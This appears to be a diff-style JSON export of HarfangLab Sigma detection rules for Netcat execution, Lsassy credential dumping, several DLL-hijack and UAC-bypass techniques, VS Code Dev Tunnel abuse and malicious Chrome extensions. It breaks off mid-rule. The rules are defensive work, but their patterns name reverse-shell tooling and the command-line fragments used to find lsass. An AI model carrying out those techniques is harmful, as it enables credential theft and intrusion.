+  "content": "title: Netcat Execution (Windows)\nid: 98269cb0-6fe3-4fda-85c3-84a45160ad01\ndescription: |\n    Detects the execution of Netcat (netcat.exe, nc.exe) which is a networking utility used for reading and writing data across network connections.\n    Netcat is often abused by attackers for malicious activities such as establishing reverse shells, data transfer, and lateral movement within a network.\n    It is recommended to investigate the process executing Netcat, to analyze the command-line arguments for suspicious patterns, to review the network traffic originating from the system, and to check for any unauthorized access or credentials exposure.\n    Additionally, ensure that Netcat is being used for legitimate purposes.\nreferences:\n    - https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/\n    - https://attack.mitre.org/techniques/T1049/\n    - https://attack.mitre.org/techniques/T1095/\ndate: 2022/08/17\nmodified: 2025/02/10\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1049\n    - attack.command_and_control\n    - attack.t1095\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Tool.Netcat\n    - classification.Windows.Behavior.RemoteShell\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - Imphash:\n            - '98ce7b6533cbd67993e36dafb4e95946' # nc.exe - b3b207dfab2f429cc352ba125be32a0cae69fe4bf8563ab7d0128bba8c57a71c\n            - '7a32d32e9e610798ffcc78ea47c7ccd1' # 17fdce691a410a4aad31b1b64a21c7f623fcf5ff31cd79b32171d3e5702b8b2d\n            - 'cdc279a12c6a556c25ba7b0510c2b96e' # nc64.exe - ce80b839411b1541d09b0ede82f1477b516da0c60760079f46ba4443e1a6f419\n            - '3d6493323c69a48467d0f9eeec5c2634' # 848a5ca5db9146592ba263d651d957d84c1389059d6a44a456c56e0b6ae2ee74\n        - Description|contains: 'NetCat' # https://github.com/diegocr/netcat and https://github.com/vinsworldcom/NetCat64\n    condition: selection\nlevel: medium\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "98269cb0-6fe3-4fda-85c3-84a45160ad01",
+  "rule_name": "Netcat Execution (Windows)",
+  "rule_description": "Detects the execution of Netcat (netcat.exe, nc.exe) which is a networking utility used for reading and writing data across network connections.\nNetcat is often abused by attackers for malicious activities such as establishing reverse shells, data transfer, and lateral movement within a network.\nIt is recommended to investigate the process executing Netcat, to analyze the command-line arguments for suspicious patterns, to review the network traffic originating from the system, and to check for any unauthorized access or credentials exposure.\nAdditionally, ensure that Netcat is being used for legitimate purposes.\n",
+  "rule_creation_date": "2022-08-17",
+  "rule_modified_date": "2025-02-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1049",
+    "attack.t1095"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "98991f0a-b80a-4401-809d-cd262444c4f1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606379Z",
+  "creation_date": "2026-03-23T11:45:34.606382Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606390Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Hackndo/lsassy/",
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "t1003_lsassy.yml",
+  "content": "title: Windows Credentials Dumped via Lsassy\nid: 98991f0a-b80a-4401-809d-cd262444c4f1\ndescription: |\n    Detects Windows credentials being dumped using the Lsassy tool.\n    Lsassy is a tool intended to ease Windows credentials dumping by implementing multiple methods using different tools.\n    It is recommended to identify the source of the remote connection using authentication logs and:\n        - Investigate if the IP is involved in further actions on the same host or on different hosts;\n        - Check if the user involved in the alert has made other suspicious activity;\n        - Launch investigation on the source machine.\nreferences:\n    - https://github.com/Hackndo/lsassy/\n    - https://attack.mitre.org/techniques/T1003/\ndate: 2024/01/25\nmodified: 2025/03/06\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003\n    - attack.t1003.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.Lsassy\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        ParentImage|endswith: '\\cmd.exe'\n        ProcessImage|endswith: '\\cmd.exe'\n        CommandLine|contains:\n            - \"for /f *tokens=2 delims= *%J in ('*tasklist /fi *Imagename eq lsass.ex* | *find *lsass*') do\"\n            - \"for /f *tokens=1,2 delims= *%A in ('*tasklist /fi *Imagename eq lsass.ex* | *find *lsass*') do\"\n\n    condition: selection\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "98991f0a-b80a-4401-809d-cd262444c4f1",
+  "rule_name": "Windows Credentials Dumped via Lsassy",
+  "rule_description": "Detects Windows credentials being dumped using the Lsassy tool.\nLsassy is a tool intended to ease Windows credentials dumping by implementing multiple methods using different tools.\nIt is recommended to identify the source of the remote connection using authentication logs and:\n    - Investigate if the IP is involved in further actions on the same host or on different hosts;\n    - Check if the user involved in the alert has made other suspicious activity;\n    - Launch investigation on the source machine.\n",
+  "rule_creation_date": "2024-01-25",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003",
+    "attack.t1003.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "98a31d66-350a-4f80-b72f-5d09cae9b0b1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.601814Z",
+  "creation_date": "2026-03-23T11:45:34.601817Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.601825Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_certenrollctrl.yml",
+  "content": "title: DLL Hijacking via EnrollComServer.exe\nid: 98a31d66-350a-4f80-b72f-5d09cae9b0b1\ndescription: |\n    Detects potential Windows DLL Hijacking via EnrollComServer.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'EnrollComServer.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\certenroll.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "98a31d66-350a-4f80-b72f-5d09cae9b0b1",
+  "rule_name": "DLL Hijacking via EnrollComServer.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via EnrollComServer.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "98efda1d-a62f-43c8-95b7-45d3c6d579ee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.294506Z",
+  "creation_date": "2026-03-23T11:45:35.294509Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.294516Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://isc.sans.edu/diary/Njrat+Campaign+Using+Microsoft+Dev+Tunnels/31724/",
+    "https://ipfyx.fr/post/visual-studio-code-tunnel/",
+    "https://code.visualstudio.com/docs/remote/tunnels",
+    "https://attack.mitre.org/techniques/T1572/",
+    "https://attack.mitre.org/techniques/T1090/",
+    "https://attack.mitre.org/techniques/T1567/"
+  ],
+  "name": "t1090_vs_code_tunnel_dns.yml",
+  "content": "title: Suspicious VSCode Tunnel DNS Request\nid: 98efda1d-a62f-43c8-95b7-45d3c6d579ee\ndescription: |\n    Detects a non-standard process performing DNS resolution requests to Microsoft Dev Tunnel domains.\n    Since July 2023, Microsoft Visual Studio Code includes a feature called Dev Tunnels that allows remote access to a system by exposing local services through Microsoft-managed infrastructure.\n    Threat actors have abused this functionality to gain persistent remote access, bypass network restrictions, and evade traditional remote access detections by leveraging trusted Microsoft domains.\n    This detection focuses on identifying Dev Tunnel usage initiated by unexpected or unauthorized processes rather than legitimate developer tools (such as code.exe or code-server).\n    It is recommended to investigate the actions performed by this process to determine its legitimacy.\nreferences:\n    - https://isc.sans.edu/diary/Njrat+Campaign+Using+Microsoft+Dev+Tunnels/31724/\n    - https://ipfyx.fr/post/visual-studio-code-tunnel/\n    - https://code.visualstudio.com/docs/remote/tunnels\n    - https://attack.mitre.org/techniques/T1572/\n    - https://attack.mitre.org/techniques/T1090/\n    - https://attack.mitre.org/techniques/T1567/\ndate: 2023/09/25\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1090\n    - attack.t1572\n    - attack.exfiltration\n    - attack.t1567\n    - classification.Windows.Source.DnsQuery\n    - classification.Windows.Behavior.Tunneling\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: dns_query\ndetection:\n    selection:\n        QueryName|contains:\n            - '.tunnels.api.visualstudio.com'\n            - '.devtunnels.ms'\n\n    filter_vscode:\n        - ProcessImage|endswith:\n            - '\\code-tunnel.exe'\n            - '\\Code - Insiders.exe'\n            - '\\Code.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'Microsoft Corporation'\n        - ProcessOriginalFileName: 'electron.exe'\n          ProcessSigned: 'true'\n          ProcessSignature: 'Microsoft Corporation'\n\n    filter_visualstudio:\n        # C:\\Program Files\\Microsoft Visual Studio\\2022\\Enterprise\\Common7\\ServiceHub\\Hosts\\ServiceHub.Host.Dotnet.x64\\ServiceHub.Host.dotnet.x64.exe\n        # C:\\Program Files\\Microsoft Visual Studio\\18\\Community\\Common7\\ServiceHub\\Hosts\\ServiceHub.Host.Extensibility.amd64\\DevHub.exe\n        ProcessOriginalFileName:\n            - 'ServiceHub.Host.dotnet.x64.dll'\n            - 'DevHub.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    filter_browser:\n        - ProcessOriginalFileName:\n            - 'ChromiumPortable.exe'\n            - 'YandexBrowser.exe' # Chromium Based Browsers\n            - 'yandex.exe'\n            - 'iridium.exe'\n            - 'chrome.exe'\n            - 'chromium.exe'\n            - '7star.exe'\n            - '7xing.exe'\n            - 'torch.exe'\n            - 'chromeplus.exe'\n            - 'kometa.exe'\n            - 'amigo.exe'\n            - 'brave.exe'\n            - 'centbrowser.exe'\n            - 'chedot.exe'\n            - 'orbitum.exe'\n            - 'sputnik.exe'\n            - 'dragon.exe'\n            - 'vivaldi.exe'\n            - 'citrio.exe'\n            - '360chrome.exe'\n            - 'uran.exe'\n            - 'liebao.exe'\n            - 'elementsbrowser.exe'\n            - 'epic.exe'\n            - 'coccocbrowser.exe'\n            - 'qipsurf.exe'\n            - 'coowon.exe'\n            - 'msedge.exe'\n            - 'qqbrowser.exe'\n            - 'firefox.exe' # Firefox Based Browsers\n            - 'waterfox.exe'\n            - 'palemoon.exe'\n            - 'librewolf.exe'\n            - 'basilisk.exe'\n            - 'seamonkey.exe'\n            - 'icedragon.exe'\n            - 'zen.exe'\n            - 'msedgewebview2.exe'\n            - 'sidekick.exe'\n        - ProcessDescription: 'Opera Internet Browser'\n\n    exclusion_misc_windows:\n        ProcessImage:\n            - '?:\\Windows\\System32\\PING.EXE'\n            - '?:\\Windows\\SysWOW64\\PING.EXE'\n            - '?:\\Windows\\System32\\ipconfig.exe'\n            - '?:\\Windows\\SysWOW64\\ipconfig.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n            - '?:\\Windows\\System32\\wbem\\WmiApSrv.exe'\n            - '?:\\Windows\\System32\\smartscreen.exe'\n\n    exclusion_svchost:\n        ProcessImage: '?:\\Windows\\System32\\svchost.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_mcafee:\n        ProcessImage: '?:\\Program Files\\McAfee\\Endpoint Security\\Adaptive Threat Protection\\mfeatp.exe'\n\n    exclusion_defender:\n        ProcessOriginalFileName:\n            - 'MsMpEng.exe'\n            - 'MsSense.exe'\n            - 'NisSrv.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows Publisher'\n\n    exclusion_nexthink:\n        ProcessOriginalFileName: 'nxtsvc.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'NEXThink S.A.'\n\n    exclusion_fsecure:\n        ProcessOriginalFileName: 'fshoster64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'WithSecure Oyj'\n\n    exclusion_zsatunnel:\n        ProcessOriginalFileName: 'ZSATunnel.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Zscaler, Inc.'\n\n    exclusion_sentinelone:\n        ProcessOriginalFileName: 'SentinelAgent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Sentinelone, Inc.'\n\n    exclusion_kaspersky:\n        ProcessOriginalFileName: 'avp.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Kaspersky Lab JSC'\n\n    exclusion_postman:\n        ProcessImage|endswith: '\\Postman.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Postman, Inc.'\n\n    exclusion_iisexpress:\n        ProcessImage: '?:\\Program Files\\IIS Express\\iisexpress.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    exclusion_trustlane:\n        ProcessImage: '?:\\Program Files\\trustlane\\trustlane_authentication_agent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Olfeo SAS'\n\n    exclusion_opera:\n        ProcessDescription: 'Opera GX Internet Browser'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Opera Norway AS'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "98efda1d-a62f-43c8-95b7-45d3c6d579ee",
+  "rule_name": "Suspicious VSCode Tunnel DNS Request",
+  "rule_description": "Detects a non-standard process performing DNS resolution requests to Microsoft Dev Tunnel domains.\nSince July 2023, Microsoft Visual Studio Code includes a feature called Dev Tunnels that allows remote access to a system by exposing local services through Microsoft-managed infrastructure.\nThreat actors have abused this functionality to gain persistent remote access, bypass network restrictions, and evade traditional remote access detections by leveraging trusted Microsoft domains.\nThis detection focuses on identifying Dev Tunnel usage initiated by unexpected or unauthorized processes rather than legitimate developer tools (such as code.exe or code-server).\nIt is recommended to investigate the actions performed by this process to determine its legitimacy.\n",
+  "rule_creation_date": "2023-09-25",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090",
+    "attack.t1567",
+    "attack.t1572"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9960b6cd-823d-45d5-ba7a-6ee09be5d019",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.072131Z",
+  "creation_date": "2026-03-23T11:45:34.072134Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.072138Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://windows-internals.com/faxing-your-way-to-system/",
+    "https://github.com/ionescu007/faxhell",
+    "https://borncity.com/win/2020/05/14/windows-print-spooler-exploit-fr-cve-2020-1048/"
+  ],
+  "name": "t1574_001_persistence_dll_hijack_fax_ualapi.yml",
+  "content": "title: Fax Service DLL Hijack Detected\nid: 9960b6cd-823d-45d5-ba7a-6ee09be5d019\ndescription: |\n    Detects the execution of a DLL hijack of the Fax service, which natively tries to load the non-existant ualapi.dll DLL from system32 directory.\n    This DLL can be planted by exploiting the CVE-2020-1048 / CVE-2020-1337 (aka Faxhell).\n    It is recommended to investigate the process that dropped the DLL into the System32 directory, as well as to analyze the loaded DLL to look for malicious content.\nreferences:\n    - https://windows-internals.com/faxing-your-way-to-system/\n    - https://github.com/ionescu007/faxhell\n    - https://borncity.com/win/2020/05/14/windows-print-spooler-exploit-fr-cve-2020-1048/\ndate: 2020/10/02\nmodified: 2025/03/31\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.defense_evasion\n    - attack.t1574.001\n    - attack.t1574.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.DLLHijacking\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ImageLoaded|endswith: '\\ualapi.dll'\n        Image|endswith: '\\fxssvc.exe'\n\n    exclusion_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9960b6cd-823d-45d5-ba7a-6ee09be5d019",
+  "rule_name": "Fax Service DLL Hijack Detected",
+  "rule_description": "Detects the execution of a DLL hijack of the Fax service, which natively tries to load the non-existant ualapi.dll DLL from system32 directory.\nThis DLL can be planted by exploiting the CVE-2020-1048 / CVE-2020-1337 (aka Faxhell).\nIt is recommended to investigate the process that dropped the DLL into the System32 directory, as well as to analyze the loaded DLL to look for malicious content.\n",
+  "rule_creation_date": "2020-10-02",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9963d7f5-15c6-4511-91d7-ac2beed21c1d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089586Z",
+  "creation_date": "2026-03-23T11:45:34.089588Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089592Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cloud.google.com/blog/topics/threat-intelligence/lnk-between-browsers/",
+    "https://www.trendmicro.com/fr_fr/research/23/k/parasitesnatcher-how-malicious-chrome-extensions-target-brazil-.html",
+    "https://attack.mitre.org/techniques/T1176/"
+  ],
+  "name": "t1176_chrome_extensions_load_macos.yml",
+  "content": "title: Suspicious Extensions Loaded by Chrome-based Browser (macOS)\nid: 9963d7f5-15c6-4511-91d7-ac2beed21c1d\ndescription: |\n    Detects a Chrome-based browser launched with a specific argument that permit to load extensions from a specific folder.\n    Adversaries may replace legitimate browser shortcut by a one that will load a malicious extension on process startup.\n    Detects a Chrome-based browser launched with a specific argument that permits to load extensions from a specific folder.\n    Adversaries may replace legitimate browser shortcuts with one that will load a malicious extension on process startup.\n    It is recommended to check the content of the folder specified in the load-extension parameter for malicious extensions.\nreferences:\n    - https://cloud.google.com/blog/topics/threat-intelligence/lnk-between-browsers/\n    - https://www.trendmicro.com/fr_fr/research/23/k/parasitesnatcher-how-malicious-chrome-extensions-target-brazil-.html\n    - https://attack.mitre.org/techniques/T1176/\ndate: 2024/10/30\nmodified: 2025/02/11\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1176\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.SensitiveInformation\n    - classification.macOS.Behavior.Persistence\nlogsource:\n    product: macos\n    category: process_creation\ndetection:\n    selection:\n        CommandLine|re: '--load-extension=[^ ]'\n        ProcessParentImage: '/sbin/launchd'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9963d7f5-15c6-4511-91d7-ac2beed21c1d",
+  "rule_name": "Suspicious Extensions Loaded by Chrome-based Browser (macOS)",
+  "rule_description": "Detects a Chrome-based browser launched with a specific argument that permit to load extensions from a specific folder.\nAdversaries may replace legitimate browser shortcut by a one that will load a malicious extension on process startup.\nDetects a Chrome-based browser launched with a specific argument that permits to load extensions from a specific folder.\nAdversaries may replace legitimate browser shortcuts with one that will load a malicious extension on process startup.\nIt is recommended to check the content of the folder specified in the load-extension parameter for malicious extensions.\n",
+  "rule_creation_date": "2024-10-30",
+  "rule_modified_date": "2025-02-11",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1176"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "99813d1f-9698-4995-907d-141014a3ed6f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595185Z",
+  "creation_date": "2026-03-23T11:45:34.595188Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595196Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_iscsicpl.yml",
+  "content": "title: UAC Bypass via iscsicpl.exe\nid: 99813d1f-9698-4995-907d-141014a3ed6f\ndescription: |\n    Detects a potential User Account Control bypass exploiting Windows DLL search Order Hijacking via iscsicpl.exe.\n    The iscsicpl.exe binary is configured to auto-elevate privileges and is vulnerable to a DLL Search Order hijacking vulnerability when running 32 bit Microsoft binary on a 64 bit system via SysWOW64.\n    This 32 bit binary, will perform a search within user path for the DLL iscsiexe.dll.\n    It is recommended to check for malicious behavior from processes modifying HKCU\\Environment\\Path and any parents of iscsicpl.exe. You should also investigate activity of any iscsicpl.exe children processes.\nreferences:\n    - https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/07/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 